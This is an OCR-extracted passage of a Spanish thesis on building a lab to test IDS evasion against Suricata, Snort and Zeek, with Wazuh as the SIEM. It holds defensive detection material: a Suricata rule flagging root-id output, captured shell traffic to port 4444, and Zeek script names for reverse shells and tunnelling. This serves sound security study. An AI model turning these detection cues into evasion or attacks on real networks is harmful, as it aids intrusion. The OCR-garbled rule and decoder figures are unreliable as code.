Security [27], es un motor de correlacion de eventos y anélisis de logs en tiempo real.
Procesa grandes volumenes de datos mediante arquitectura multihilo y reglas compatibles
con Snort y Suricata. Es ideal para entornos que requieren alta eficiencia en la respuesta
ante eventos derivados de registros del sistema, y se integra facilmente con sistemas
SIEM. [28]

5.1.9 AIDE

Segun la documentacion oficial de ArchLinux, AIDE [29] (Advanced Intrusion
Detection Environment) es una herramienta HIDS open-source centrada en la verificacion
de integridad de archivos. Fue fue creada originalmente en 1999 por Rami Lehti y Pablo
Virolainen, y el mantenimiento actualmente esta en manos de Richard van den Berg, y
Hannes von Haugwitz. A diferencia de otros IDS analizados anteriormente, AIDE es un
proyecto relativamente pequefio, desarrollado y mantenido por la comunidad. No
opera en tiempo real ni realiza analisis de red, sino que compara el estado actual del
sistema con una base de datos previamente generada, lo que permite identificar cambios
no autorizados. Es simple, ligero y eficaz para auditorias de integridad programadas. [30]

5.1.10 Wazuh

Wazuh [31], desarrollada por Wazuh, Inc, es una plataforma de proteccion XDR
(Extended Detection and Response), SIEM y HIDS basada en OSSEC, ampliamente
adoptada en entornos corporativos por su versatilidad, escalabilidad y capacidad de
integracion. Su popularidad se refleja en su comunidad activa y cifras de uso destacadas,
tal y como se ve en la [lustracion 5.5. [32]

) 15+ Million _[' 100+ Thousand ', 30+ Million

= P
L Protected endpoints — Enterprise users \i Downloads per year

llustracion 5.5: Cifras de uso de Wazuh. Fuente: wazuh.com.

Wazuh emplea una arquitectura basada en agentes y servidores, donde los agentes
instalados en los sistemas monitorizados envian eventos de seguridad al servidor central,
que analiza, correlaciona y almacena los datos para su posterior visualizacion. [33]

La Ilustracion 5.6 muestra los componentes principales y el flujo de datos de una
implementacion tipica de Wazuh.
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llustracion 5.6: Arquitectura de Wazuh. Fuente: wazuh.com [33]

5.2 Seleccion del tercer IDS

Durante la fase inicial del disefio experimental, se seleccionaron Snort y Suricata
como las herramientas principales de deteccion de intrusiones basadas en red (NIDS).
Ambas soluciones son ampliamente utilizadas y representan enfoques tradicionales en la
deteccion mediante firmas, con motores optimizados para inspeccion profunda de
paquetes (DPI) y respuestas configurables. En esta etapa, se descartaron otras soluciones
como Zeek, Security Onion o Prelude SIEM por considerar que su incorporacion podria
suponer una redundancia funcional o una complejidad excesiva en la gestion del
laboratorio.

Sin embargo, al avanzar en la comparativa funcional, se reconsider6 esta decision.
Principalmente, se identificé que la incorporacion de un HIDS como Wazuh para su
comparacion directa con NIDS presentaba dificultades metodologicas importantes.
Mientras los NIDS (Network Intrusion Detection System) se enfocan en el analisis de
trafico de red, los HIDS (Host Intrusion Detection System) operan sobre eventos internos
del sistema operativo, como accesos a archivos, logs de usuario o cambios de
configuracion. La falta de un terreno comun de comparacion limitaba la capacidad de
evaluar métricas de deteccion o rendimiento de manera homogénea.

Ante esta situacion, se decidi6 sustituir la tercera herramienta por Zeek, un sistema
de analisis de red pasivo que, aunque también clasificado como NIDS, aporta un enfoque
complementario y significativamente distinto respecto a Snort y Suricata.

Eleccion de Zeek frente a otras alternativas

Zeek fue seleccionado por las siguientes razones:

e Es un NIDS puro, disefiado para observar el trafico sin interferir ni alterar los
paquetes, en modo completamente pasivo. Esto lo diferencia de soluciones como
Security Onion, que funcionan como plataformas completas de seguridad con
multiples IDS y herramientas integradas (Zeek, Suricata, Wazuh, ELK, etc.).
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Aunque Security Onion es potente, su naturaleza como suite introduce una
complejidad de gestion y despliegue que no resulta apropiada para un laboratorio
experimental centrado en comparacion de IDS individuales.

Modelo basado en scripting en lugar de reglas. A diferencia de Snort y Suricata,
Zeek no se basa en reglas predefinidas para detectar amenazas, sino que utiliza un
lenguaje de scripting de alto nivel para interpretar eventos generados a partir del
trafico. Esto permite una deteccion mucho mas contextualizada y flexible. Por
ejemplo, un script puede definir un comportamiento anomalo en una sesion HTTP
a lo largo del tiempo, cosa que es inviable con una regla estatica en un IDS
tradicional.

Vision enriquecida del trafico. Zeek genera logs estructurados que describen en
detalle las conexiones, sesiones de aplicacion, y eventos complejos como patrones
de uso sospechoso, errores de protocolo, entre otros. Mientras que Snort y Suricata
tienden a generar una alerta puntual, Zeek proporciona un conjunto de datos
amplio y correlacionable, un aspecto muy importante a la hora de analizar un
evento.

Alta extensibilidad y compatibilidad. Gracias a su arquitectura modular y lenguaje
de scripting, Zeek permite adaptarse a entornos muy variados. Ademas, puede
integrarse sin dificultad con herramientas de andlisis como ELK o Splunk, asi
como alimentar a plataformas SIEM como Wazuh.

Enfoque complementario. Zeek no se percibe como redundante respecto a Snort
y Suricata, sino como una herramienta que ofrece una perspectiva distinta: mas
centrada en la observacion del comportamiento y menos en la deteccion inmediata
basada en firmas. Esto permite realizar una comparacion mas rica dentro del
dominio de los NIDS, sin caer en duplicaciones funcionales.

En definitiva, Zeek representa una alternativa suficientemente distinta y potente

dentro del dominio NIDS, lo que justifica su seleccion como tercer IDS en el entorno
experimental.

Reubicacion de Wazuh como SIEM

A pesar de no ser utilizado como tercer IDS activo en las pruebas de comparacion,

Wazuh sigue formando parte esencial de la arquitectura del laboratorio, cumpliendo la

funcion de plataforma SIEM. Su papel consiste en centralizar logs, eventos de seguridad
y resultados de los IDS, facilitando una correlacion y visualizacién coherente del entorno.

Wazuh fue elegido frente a otros HIDS y SIEM por varias razones clave:

Es un fork mejorado de OSSEC, con mas soporte, desarrollo activo y comunidad
vibrante. Mientras OSSEC sigue siendo valido, su actividad de desarrollo es
mucho menor, y carece de funcionalidades modernas como integracion SIEM
nativa o una interfaz web de gestion.
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e Integra de forma nativa con Elasticsearch y Kibana, proporcionando un
Dashboard de analisis visual, sin necesidad de soluciones de terceros.

e Su arquitectura escalable, la capacidad de gestion de agentes, y sus modulos de

respuesta activa y deteccion de vulnerabilidades, lo convierten en una solucion
completa para entornos SOC reales.

e Supera en cobertura funcional a otras herramientas como AIDE (limitada a FIM),
o Sagan (enfocado a logs, no a integridad ni eventos del sistema).

Por tanto, Wazuh no fue descartado, sino redefinido como herramienta clave de

apoyo, aportando capacidades de consolidacion de alertas, enriquecimiento de eventos y
visibilidad general de la actividad en el laboratorio, similar a lo que se haria en un entorno
real de seguridad corporativa.
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Tabla 5.1: Tabla resumen de los IDS investigados. Fuente: Elaboracion propia.
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6.1 Composicion del Entorno

Para la correcta evaluacion de técnicas de evasion frente a Sistemas de Deteccion
de Intrusiones, se ha desarrollado un entorno experimental controlado compuesto por
nueve maquinas virtuales a las que se le ha asignado uno de los siguientes roles: atacante,
victima e IDS.

Este entorno se implementd mediante la herramienta Oracle VM VirtualBox,
seleccionada por su facilidad de uso, estabilidad y compatibilidad con diversos sistemas
operativos y soluciones de seguridad. No obstante, todo el entorno descrito es replicable
en otras plataformas de virtualizaciéon como VMware Workstation, sin comprometer la
validez de los experimentos.

6.1.1 Maquinas Atacantes

Kali Linux — Atacante principal: Esta maquina es utilizada como plataforma de
lanzamiento para las distintas técnicas de evasion evaluadas en el proyecto. Desde aqui
se ejecutan ataques que buscan eludir la deteccion por parte de los IDS mediante diversos
métodos. Véase anexo “12.2 Instalacion Mdaquina Atacante”.

6.1.2 Maquinas Victimas

Metasploitable2 (Linux): Entorno intencionadamente vulnerable con multiples
servicios y puertos abiertos, adecuado para evaluar ataques tradicionales y comprobar las
capacidades bésicas de deteccion. No es posible la instalacion un agente de Wazuh en esta
maquina debido a tener una arquitectura de 32 bits. Véase anexo “12.3 Instalacion y

configuracion Metasploitable2”

Metasploitable3 (Linux): Respecto a Metasploitable2, es una version mas
avanzada y moderna con una arquitectura basada en Ubuntu, que introduce
vulnerabilidades adicionales orientadas a servicios contemporaneos. Véase anexo “12.4
Instalacion Metasploitable3”

Metasploitable3 (Windows): Sistema Windows vulnerable que permite
experimentar con ataques dirigidos a tecnologias Microsoft, ampliando la variedad del
trafico generado y los vectores de ataque evaluados. Ademas de disponer de interfaz
grafica, a diferencia de sus contrapartes de Linux. Véase anexo “12.4 Instalacion
Metasploitable3”

Kali Linux — Cliente para técnicas especificas: Esta segunda méaquina actia
como cliente en técnicas que requieren interaccion entre dos extremos, como es el caso
de la tunelizacion de trafico. Se eligio Kali debido a la disponibilidad por defecto de
herramientas compatibles que facilitan la implementacion sin necesidad de transferir
binarios adicionales.
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6.1.3 Maquinas IDS

El entorno cuenta con cuatro sistemas configurados para desempefiar funciones
de deteccion de intrusiones, cada uno utilizando un IDS distinto con el objetivo de evaluar
su comportamiento frente a técnicas de evasion. Tres de estas maquinas operan en modo
promiscuo, una caracteristica avanzada de red de VirtualBox que permite capturar todo el
trafico de red que circula por una red, sin importar si dicho trafico estd dirigido
especificamente a ellas. Este modo es fundamental para replicar con fidelidad el
funcionamiento de los IDS basados en red.

Kali Linux — IDS Suricata: Esta maquina tiene instalado y configurado el IDS
Suricata, reconocido por su capacidad para realizar inspeccion profunda de paquetes.
Gracias al modo promiscuo en el adaptador de red, puede capturar y analizar todo el
trafico circulante dentro del laboratorio.

Ubuntu 20.04 — IDS Snort: Equipada con Snort, un IDS basado en reglas que
permite detectar ataques conocidos mediante firmas predefinidas. También esta
configurada con DHCP y en modo promiscuo para garantizar que ningun paquete
relevante pase desapercibido durante los experimentos.

Ubuntu 20.04 — IDS Zeek: A diferencia de los anteriores, Zeek se enfoca mas en
el andlisis contextual y en el registro detallado de eventos, siendo especialmente til para
identificar comportamientos anémalos o ataques que no dependen exclusivamente de
firmas. Opera igualmente en modo promiscuo.

Ubuntu 20.04 — IDS con Wazuh: En contraste con los anteriores, Wazuh
funciona como un HIDS (Host-based IDS) y sistema SIEM, centrandose en la recoleccion
y andlisis de logs de los sistemas monitorizados. No requiere operar en modo promiscuo,
ya que no analiza trafico de red en tiempo real. Esta maquina centraliza los registros
generados por las demds maquinas IDS, proporcionando una capa adicional de
correlacion de eventos y visualizacion de alertas.

6.2. Topologia de Red

La arquitectura de red del laboratorio ha sido disefiada para garantizar tanto la
conectividad entre los distintos roles funcionales como el acceso a internet, sin
comprometer la simplicidad y estabilidad del entorno. Todas las maquinas estdn
conectadas a una misma red interna de tipo NAT personalizada (NAT Network),
configurada en VirtualBox con el rango de direcciones 10.0.4.0/24 (Véase anexo “12.1
Creacion de Red NAT en VirtualBox”). Esta configuracion permite el enrutamiento entre

maquinas y acceso externo, lo cual es necesario para la descarga de herramientas,
actualizacion de paquetes y simulacion de trafico real.

Tal y como se mencion6 en la seccion 6.1.3, para ver el flujo de red, las maquinas
con un NIDS instalado, se configuraron con adaptadores de red en modo promiscuo. Esta
funcionalidad, proporcionada por VirtualBox, permite que dichas maquinas puedan
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recibir y analizar todos los paquetes que transitan por la red virtual, simulando el
comportamiento de un IDS conectado a un puerto espejo en una red fisica.

En un entorno de produccion, este tipo de configuracion se implementaria
utilizando tecnologias como port mirroring o SPAN ports, las cuales replican el trafico de
red hacia un sistema de monitorizacion [34]. Aunque VirtualBox ofrece posibilidades de
configuracion avanzadas que permitirian emular este tipo de topologias mediante
switches virtualizados, se ha optado por un enfoque mas directo y funcional para este
laboratorio: el uso del modo promiscuo, suficiente para los objetivos propuestos sin
anadir una complejidad innecesaria.

Para simularlo tanto la maquina atacante como la victima deben poder
comunicarse entre ellos, asi como tener conectividad a internet para poder descargar
paquetes y realizar ciertas configuraciones para reproducir los ataques. Para obtener este
tipo de arquitectura de red se puede utilizar modo Bridge o Red Nat en el caso de solo
usar un adaptador de red.

Aunque es posible usar dos adaptadores de red para las maquinas, uno en modo
NAT y otro en red interna, esto es contraproducente a la hora de usar las maquinas
victimas “Metasploitable”, ya que fueron creadas para ser utilizadas con un unico
adaptador de red. Por esa razon se opt6 por utilizar el modo “Red NAT”, o “NATservice”
en la tabla. El cual proporciona conectividad a internet a la par que conectividad entre las

maquinas.
Mode VM—Host| VM—Host (VM1-VM2|VM—Net/LAN|VM—Net/LAN
Host-only + + + - -
Internal - - + - -
Bridged + + + + +
NAT + Port forward - + Port forward
NATservice + Port forward + + Port forward

llustracion 6.1: Modos de la red para los adaptadores de red en VirtualBox Fuente: virtualbox.org [35]

Para realizar esta configuracion, se cre6 la Red NAT con el DHCP habilitado tanto
en la configuracion de la red, como en la configuracion interna de las propias méaquinas.

¥ B
Crear Eliminar  Propiedades

Redes solo-anfitrién Redes NAT Redes en la nube

Nombre “ Prefijo [Pvd Prefijo IPv6 Servidor DHCP
internet 10.0.4.0/24 fd17:625c:f037:4:/64 Habilitado

Hlustracion 6.2: Configuracion de Red NAT en VirtualBox. Fuente: Elaboracion propia

Como prueba de funcionamiento, se puede ejecutar el comando “tcpdump” en una
de las maquinas configuradas para mostrar el trafico de la interfaz de red, y realizar un
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ping desde la maquina atacante a la victima. En caso de funcionar correctamente, se
mostraran conexiones ICMP entre la IP atacante y Victima.

La topologia general del laboratorio puede observarse en la Ilustracion 6.3, donde
se visualizan las conexiones establecidas entre las diferentes maquinas virtuales
involucradas en el entorno experimental.

'_:.1'5,_:_ »— ] @ Q

Victima Kali RA P’DD

J ) 10.0.4.8
Snort Zeek Suricata Q@
10,0412

10.0.4.13 10,046
Metasploitable 2

10,044

iy -

A Metasploitable 3 - Linux
tacante 10.0.4.9

10.04.5 Wazuh

10.0.4.7 Q

Metasploitable 3 - Windows |

10.0.4.10 .
Red NAT Conexién Red
NAT
------------ Modo promiscuo Centralizacion

Llustracion 6.3: Topologia de red del laboratorio. Fuente:Elaboracion propia con apoyo de diversas fuentes.

En esta representacion se muestran claramente todas las maquinas virtuales que
forman parte del entorno de laboratorio, incluyendo sistemas IDS, maquinas victimas y
nodos de ataque.

Las lineas verdes continuas indican las conexiones activas con el SIEM Wazuh
por medio de agentes, mientras que las lineas verdes punteadas representan las
maquinas IDS configuradas en modo promiscuo, lo cual les permite capturar el trafico
completo de la red, independientemente del destino original de los paquetes.

La comunicacion entre nodos se realiza a través de una inica red NAT
personalizada (subred 10.0.4.0/24), lo que permite una conectividad completa entre las
maquinas virtuales, asi como acceso a internet [35]. Esta configuracion es fundamental
para garantizar la descarga de paquetes, actualizacion de herramientas y simulacion de
trafico real.

Esta topologia ofrece una estructura funcional, sencilla y eficaz para replicar un
entorno controlado, lo cual resulta esencial para la evaluacion realista de técnicas de
evasion de IDS y la monitorizacion de alertas de seguridad generadas durante los
ataques.
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7.1 Wazuh

Tal como se describe en la documentacion oficial, Wazuh es una plataforma de

seguridad de codigo abierto que proporciona capacidades de Security Information and
Event Management (SIEM) y Extended Detection and Response (XDR). Es ampliamente
utilizada por organizaciones para centralizar, analizar y correlacionar registros

provenientes de una gran variedad de fuentes. Véase el anexo “/2./6 Instalacion del

componente central de Wazuh”.

En la Ilustracion 7.1 se presentan algunos de sus principales casos de uso.

[lustracion 7.1: Casos de Uso de Wazuh. Fuente: wazuh.com [36]

7.1.1 Componentes Principales

La solucién Wazuh se basa en los siguientes componentes [37]:

Agente Wazuh: Es un software ligero compatible en multiples entornos. Se
instala en los endpoints a monitorizar, es decir, las maquinas victimas, y ademas
en los IDS para realizar el envio mediante syslog.

Proporciona utilidades como recoleccion de logs, monitorizacion de la integridad
de los archivos, deteccion de malware, respuesta ante amenazas detectadas y
valoracion de la configuracion del host. [38]

Véase el anexo “12.7 Instalacion de agentes de Wazuh” para una demostracion
del proceso de instalacion.

Servidor Wazuh: En el laboratorio, recibe y analiza los datos recibidos de los
agentes mediante decodificadores y reglas, utilizando inteligencia de amenazas
para identificar indicadores de compromiso. Ademas, gestiona la configuracion y
actualizacion remota de los agentes.

En un entorno real, la entrada de logs por lo general no se limita inicamente a los
agentes, se puede realizar el envio de los registros por el protocolo syslog
mediante herramientas como “syslog-ng”, ademas de integraciones mediante API.
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e Indexer Wazuh: Este componente es fundamentalmente un motor de busqueda y
analisis de texto. En primera instancia, gestiona los logs que recibe el servidor de
Wazuh, almacenandolos e indexandolos en formato JSON, para posteriormente
poder filtrar las alertas generadas en el Dashboard en funcion de campos como
decoders, identificadores de reglas o fechas.

o Dashboard Wazuh: Interfaz web flexible e intuitiva para la visualizacion y
analisis de eventos y alertas de seguridad. Incluye paneles preconfigurados para
cumplimiento normativo, deteccion de aplicaciones vulnerables, monitoreo de
integridad de archivos, evaluacion de configuraciones y mas. Ademas, es posible
crear graficas y otros elementos de visualizacion ttiles para la monitorizacion.

7.1.2 Ingesta y procesamiento de logs en Wazuh

Sistemas IDS como Suricata, Snort y Zeek permiten configurar su salida en
formato JSON, lo que representa una ventaja significativa para su integracién con Wazuh.
Este formato estructurado evita la necesidad de crear decodificadores personalizados
mediante expresiones regulares, facilitando el analisis de eventos.

Los logs generados por los agentes o recibidos por Syslog son almacenados en el
servidor de Wazuh en dos archivos clave:

- alerts.log: contiene los eventos de seguridad en formato texto.
- alerts.json: contiene los mismos eventos, pero estructurados en formato JSON.

Este tltimo archivo (alerts.json) es enviado automaticamente a través de Filebeat
hacia el Indexer, permitiendo su visualizacion y filtrado desde el Dashboard segin
campos como srcip, dstip, alert.level, rule.id, entre otros.

7.1.3 Decodificadores y reglas en Wazuh

Decodificadores

Estos componentes interpretan y estructuran los logs recibidos. En el caso de logs
en texto plano, utilizan expresiones regulares para extraer campos clave como IPs, puertos
o protocolos. En logs JSON, este proceso es mas simple y menos propenso a errores.

<decoder name="wazuh">
<prematch>*wazuh: <fprematch>

<fdecoder>

<de er name="agent-buffer”»

<paremt>wazuh</paremt>

offset="after parent">~Agent buffer:</prematch
set="after_prematch®>~ °({\5+)}".</regex>
level</orders

llustracion 7.2: Decoder por defecto del archivo "0005-wazuh_decoders.xml". Fuente: Elaboracion propia
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En la Ilustracion 7.2 se observa un decodificador padre llamado “wazuh”, que se
activa cuando el log comienza con la cadena "wazuh:". Posteriormente, activa
decodificadores hijos como agent-buffer, cuya condicion es la aparicion de "Agent buffer:
‘<valor>."" dentro del log.

Al poner entre paréntesis un valor en una expresion regular, implica la pertenencia
a un grupo, y en este caso, corresponde al campo “level” declarado con la etiqueta
“order”.

Toda la sintaxis de los decoders depende de etiquetas que estan correctamente
documentadas en la documentacion de Wazuh y expresiones regulares, por lo general del
tipo “pcre2”. La herramienta regex101 es muy util para crear expresiones regulares [39].

REGULAR EXPRESSION
i/ Mwazuh:Agent-buffer ' (\S5+)'.

TEST STRING

wazuh:Agent-buffer-'8'.

llustracion 7.3: Expresion Regular del decoder y log de ejemplo en la web regex101. Fuente: Ejecucion propia de
regex101.com [39]
En la Ilustracion 7.3 se puede ver en primer lugar la expresion regular que se ha
ejecutado con estos dos comandos, a la par que un log de ejemplo que seria correctamente
decodificado. En este caso, “8” es el valor del campo level.

Reglas

Tras aplicar los decodificadores, los campos extraidos se procesan mediante un
sistema de reglas para generar alertas de alto valor que ayuden al analista de
ciberseguridad a determinar si se est4 recibiendo un ataque o no.

Siguiendo el ejemplo anterior, en el que se obtuvo el campo “level”, se puede crear
una regla que se activa en funcion del valor de dicho campo decodificado, y ademas se
puede mostrar en la descripcion del evento alertado.

<rule id
<if sid»281c/1
<field name="level">Ec/Field>
iption>Agent event gueue is ${lewel) full.<Sdescription:

<groupragent flooding,pci dss 18.6.1,gdpr IV 35.7.d,</groups

<frule>»

Ilustracion 7.4: Regla de demostracion del archivo 0016-wazuh_rules.xml. Fuente: Elaboracion propia

En este caso, se asigna el identificador 202 a una regla con nivel de severidad 7,
dependiente de una regla anterior (if _sid: 201). La relacion padre-hijo permite una ldgica
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condicional en la que solo cuando se activa la regla 201, se evalta si la regla 202 se
cumple. Por ultimo, se asignan grupos para facilitar la correlacion con otros eventos.

7.1.4 Configuracion del pipeline de Filebeat

Durante la integracion con Zeek, se detectaron conflictos debido campo “data.id”,
que genera errores de indexacion por parte de Filebeat, desembocando en la no
visualizacion de ninguna alerta de Zeek en el Dashboard que contenga dicho campo.

root@Wazuh2: fvarfossec# cat fusr/share/filebeat/module/wazuhfalerts/ingest/pipeline.jsol

{

"description": "Wazuh alerts pipeline”,
"processors”: [
{ "json" : { "field"” : "message", "add_to_root": true } },

llustracion 7.5: Pipeline para renombrar el campo data.id. Fuente: Elaboracion propia a partir una publicacion de
Reddit [40]

Este pipeline realiza dos acciones principales:

1. Decodificacion del mensaje JSON
Convierte el contenido del campo message en campos raiz del documento.

2. Renombrado condicional del campo data.id
Si el campo data.id es un objeto (Map), se renombra como data.s_id, evitando
asi conflictos de mapeo.

Esta medida permite mantener la integridad del indice y asegura la correcta
visualizacion y filtrado de alertas en el dashboard de Wazuh.

7.1.5 Conclusion

En el laboratorio, Wazuh se utiliza como una solucion integral que permite
centralizar, analizar y visualizar logs de seguridad provenientes de los NIDS Suricata,
Snort y Zeek, ademas de las cuatro maquinas victimas mencionadas en la seccion 6.1.2 .
Gracias a su funcionalidad de decodificar logs en JSON y su sistema de reglas, es una
herramienta esencial para el monitoreo y la respuesta ante incidentes en entornos
complejos y heterogéneos.

Ademas, hay una gran cantidad de conjuntos de reglas y decoders por defecto,
pero lo mas recomendable es tratar de personalizarlas en funcion del entorno existente
para evitar falsos positivos, ademas de que, dependiendo del contexto, podria ser til crear
reglas que se activen en funcion de eventos sospechosos, como inicios de sesion en paises
inesperados.

42



n Universidad de

Las Palmas de .
Gran Canaria Capitulo 8

Ejecuciony Deteccién de Técnicas de Evasion.

7.2 Suricata

Suricata es un sistema de deteccion de intrusiones basado en red (NIDS) que
opera mediante reglas, por lo que su eficacia depende en gran medida de la calidad y
actualizacion de dichas reglas. Para este laboratorio, fue instalada la version 7.0.10 de
Suricata en un entorno Kali Linux mediante el gestor de paquetes de Kali, “apt install
suricata”.

Una vez instalado, las opciones predeterminadas son funcionales para entornos
basicos, siendo necesario Unicamente configurar la variable HOME NET con las
direcciones IP de las maquinas que se desean monitorizar. Ademas, se puede crear un
archivo “local.rules” dentro del directorio de reglas, el cual contendra las reglas
personalizadas definidas por el usuario.

: /var/lib/suricata/rules

- suricata.rules
- local.rules

llustracion 7.6: Archivo de configuracion de Suricata. Fuente: Elaboracion propia

Para la gestion y actualizacion de reglas, Suricata proporciona la
herramienta suricata-update, que facilita el acceso a distintos conjuntos de reglas
mantenidos por la comunidad y entidades privadas. Al ejecutar el comando
correspondiente (ver Ilustracion 7.7), se muestra el catalogo disponible, que incluye tanto
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reglas de uso libre como otras accesibles Unicamente mediante suscripcion. En este
laboratorio se utilizaron exclusivamente reglas gratuitas.

/etc/suricata
sources
-- Using data-directory /var/lib/suricata.
—— Using Suricata configuration tc/suricata/suricata.yaml
> —— Using /etc/surica les for Suricata provided rules.
—— Found Suricata version 7.8.10 at /usr/bin/suricata.

llustracion 7.7: Muestra de conjuntos de reglas que ofrece Suricata oficialmente. Fuente: Elaboracion propia

Una vez completada la configuracion, se procede a reiniciar el servicio de Suricata
y habilitarlo con systemctl enable para que se ejecute automaticamente en cada inicio del
sistema. Con estas acciones, Suricata queda listo para iniciar la deteccion de amenazas en
tiempo real.

Para probar el funcionamiento correcto del motor de reglas, se ejecutd un
comando curl que devuelve el texto "uid=0(root)", lo cual es detectado por Suricata como
actividad maliciosa.

/home /kali
/tap/test.txt

/home /kali

llustracion 7.8: Envio de payload que Suricata detecta como malicioso. Fuente: Elaboracion propia

Especificamente lo que detecta Suricata es el contenido “root” en un paquete de
red, tal como se ve en la Ilustracion 7.9, donde se ve parte de la regla que detecta una
accion sospechosa, y el archivo fast.log, donde se guardan las alertas generadas por la
activacion de una regla.

alert ip - (msg:"GPL ATTACK_RESPONSE id cF [ turned root”™; content: “uid= root|
; sid ; rev: ; metadata created_at 2010_09_23, confide Medium, signature_severity Informational,

/home/kali
/var/log/suricata/fast.log

-0 ; @ CK £ i check returned root [+*] [Classification: Poten
Traffic] [Priority: :8

llustracion 7.9: Regla que se activa al detectar el contenido “root” en un paquete, y el log generado. Fuente:
Elaboracion propia
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La regla empleada utiliza el protocolo ip, lo que implica deteccion genérica sin
restringirse a protocolos especificos. Ademads, se aplica independientemente de la IP o
puerto de origen/destino. La regla incluye los campos obligatorios sid (identificador de
regla) y rev (revision), que permite mantener un control de versiones sobre las reglas
definidas.

7.3 Snort

Snort es, al igual que Suricata, un sistema de deteccion de intrusiones basado
en red (NIDS) que opera mediante reglas. En este laboratorio se instal6 la version de
Snort 3.7.4.0. Véase anexo “12.5 Instalacion Snort”.

A diferencia de Suricata, Snort no incluye una herramienta interna (suricata-
update) para gestionar conjuntos de reglas oficiales. En su lugar, las reglas deben
descargarse desde su pagina web. Existen dos opciones: un conjunto de reglas gratuito y
otro de suscripcion paga. En este caso, se utilizo el paquete gratuito provisto por la
comunidad de Snort, complementado con las reglas del proveedor Proofpoint,
conocidas como “Emerging Threats”, utilizadas también por Suricata. Esta eleccion
permite realizar comparaciones justas entre ambos sistemas empleando reglas
equivalentes. [41]

Compatibilidad de reglas entre versiones

Un inconveniente relevante es que las reglas de “Emerging Threats” disponibles
para descarga estan escritas para Snort 2.x, mientras que en este entorno se emplea Snort
3.x, lo que introduce diferencias sintacticas y estructurales. Afortunadamente, este
problema se resuelve facilmente mediante la herramienta snort2lua, que permite convertir
reglas del formato anterior al nuevo formato Lua requerido por Snort 3. Dicha conversion
se realiza ejecutando el siguiente comando: “snort2lua -c archivo snort2.rules -r
archivo_convertido.lua”.

Sin embargo, algunas reglas requerian modificaciones manuales, especialmente
aquellas que usaban el operador de negacion “!” en contextos incompatibles con Snort (ni
en la version 2 ni en la 3). A pesar de estas inconsistencias iniciales, las reglas modificadas

se ejecutaron sin generar errores, lo que permitid continuar con las pruebas previstas [42]
Ejecucion y salida de eventos

Snort puede ejecutarse mediante un comando al que se le especifica el conjunto
de reglas y el tipo de salida deseado. En la Ilustracion 7.10 se muestra un ejemplo de
ejecucion en modo consola utilizando el formato “alert fast”, que genera alertas
sintetizadas en texto plano.
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root@snortUbuntu: /home/snort# Smy_path/bin/snort -c Smy_path/etc/snort/snort.lua -R Smy_path
/etc/snort/rules/snort3-community.rules -R Smy_path/etc/snort/rules/actualizado.rules -L dump -
1 /var/log/ -i enp@s3 -A alert_fast --daq afpacket

ort++ 3.7.4.0

Loading /path/to/snorty/etc/snort/snort.lua:
Loading snort_defaults.lua:
Finished snort_defaults.lua:

llustracion 7.10: Ejecucion de Snort. Fuente: Elaboracion propia

Para facilitar la integracion con Wazuh, se intent6é configurar la salida de Snort
en formato JSON, con el objetivo de que las alertas pudieran ser decodificadas
automaticamente sin necesidad de expresiones regulares. Sin embargo, se identifico una
limitacion significativa: el modulo responsable de generar logs en JSON omite el
mensaje de alerta, lo que impide que Wazuh pueda interpretar correctamente la
informacion del evento.

Debido a esta deficiencia, se opt6é por implementar decodificadores
personalizados, aunque esta solucion requiere un esfuerzo adicional en términos de
configuracion y mantenimiento. En entornos reales y a largo plazo, una alternativa mas
escalable podria ser el uso de un script de conversion que transforme los logs generados
por Snort a un formato JSON estructurado, incluyendo todos los campos relevantes, lo
cual permitiria una integracion mas eficiente con plataformas como Wazuh.

7.4 Zeek

Zeek es un sistema de deteccion de intrusiones basado en red (NIDS) que difiere
de soluciones como Suricata o Snort en su enfoque: utiliza un lenguaje de scripting
para analizar el trafico de red y detectar comportamientos anomalos. En este
laboratorio se empled la version 7.0.5. Véase el anexo “12.6 Instalacion Zeek™.

Una de sus ventajas es la posibilidad de probar scripts de forma rapida y segura
en la plataforma interactiva de Zeek, donde se puede validar la sintaxis y
comportamiento de los scripts antes de ejecutarlos en un entorno real [43]. Esta
funcionalidad es especialmente util para evitar errores que podrian complicar el analisis
manual de logs.
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main.zeek -+ Add File

le TCPDEBUG;

(c: connection, is_orig: bool, flags: string, seq: count,
ack: count, len: count, payload: string)

print fmt("[ZEEK] tcp et 1 d

\céiaédﬁié_hT'&éidéofig_bi.ES{dSregﬁ_ﬁ. :S{dsgeso_ﬁ.‘oayload};

[ZEEK] Script cargado. Escuchando trlxc3\xaifico TCP...

[ZEEK] tcp_packet con payload (10.0.4.4:53097 \xe2\x86\x92 10.0.4.5:4444): sh: line 1: Trying: command not fou
[ZEEK] tcp_packet con payload (10.0.4.4:53097 \xe2\x86\x92 10.0.4.5:4444): sh: line 3: Escape: command not fou
[ZEEK] tcp_packet con payload (10.0.4.4:53096 \xe2\x86\x92 10.0.4.5:4444): echo 30IWWNTBCIuKbb8i;\xea

[ZEEK] tcp_packet con payload (10.0.4.4:53097 \xe2\x86\x92 10.0.4.5:4444): echo 30IWWNTBCIuKbb8i;\x0a

[ZEEK] tcp_packet con payload (10.0.4.4:53097 \xe2\x86\x92 10.0.4.5:4444): 30IWNTBCIuKbb8i\x0d\x0a

[ZEEK] tcp_packet con payload (10.0.4.4:53096 \xe2\x86\x92 10.0.4.5:4444): echo gRqu50zHDpXs5h\xea

[ZEEK] tcp_packet con payload (10.0.4.4:53097 \xe2\x86\x92 10.0.4.5:4444): gRquS0zHDpXs5h\xed\xba

Llustracion 7.11: Script basico de Zeek que muestra el payload de los paquetes TCP capturados. Fuente: try.zeek.org.

El script mostrado en la figura anterior hace uso del evento “tcp packet”,
capturando todos los paquetes TCP e imprimiendo el payload junto con las direcciones
IP de origen y destino.

Configuracion

Zeek fue configurado para emitir logs en formato JSON, en lugar del texto plano
que genera por defecto. Este formato estructurado permite su integracién directa con
Wazuh, eliminando la necesidad de crear decodificadores personalizados.

Asimismo, se afiadieron scripts personalizados al archivo local.zeek con el
objetivo de ampliar la capacidad de deteccion, generando logs adicionales para ciertos
comportamientos maliciosos o patrones sospechosos. Al igual que Snort y Suricata
ofrecen conjuntos de reglas recomendados, Zeek cuenta con un repositorio centralizado
de paquetes creados por usuarios de la comunidad, Zeek packages Browser. Aunque
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algunos de estos scripts estan desactualizados, por lo que pueden requerir modificaciones.
[44].

tuning/json-logs

whoami-test
uid-check
tcp-data
dns-tunnel
icmp_tunnel
scan

shell reverse

Hlustracion 7.12: Scripts personalizados cargados en el fichero local.zeek. Fuente: Elaboracion propia

Una vez completada la configuracion, se ejecuta el comando “zeekctl deploy”,
que lanza el servicio de Zeek aplicando todos los scripts definidos.

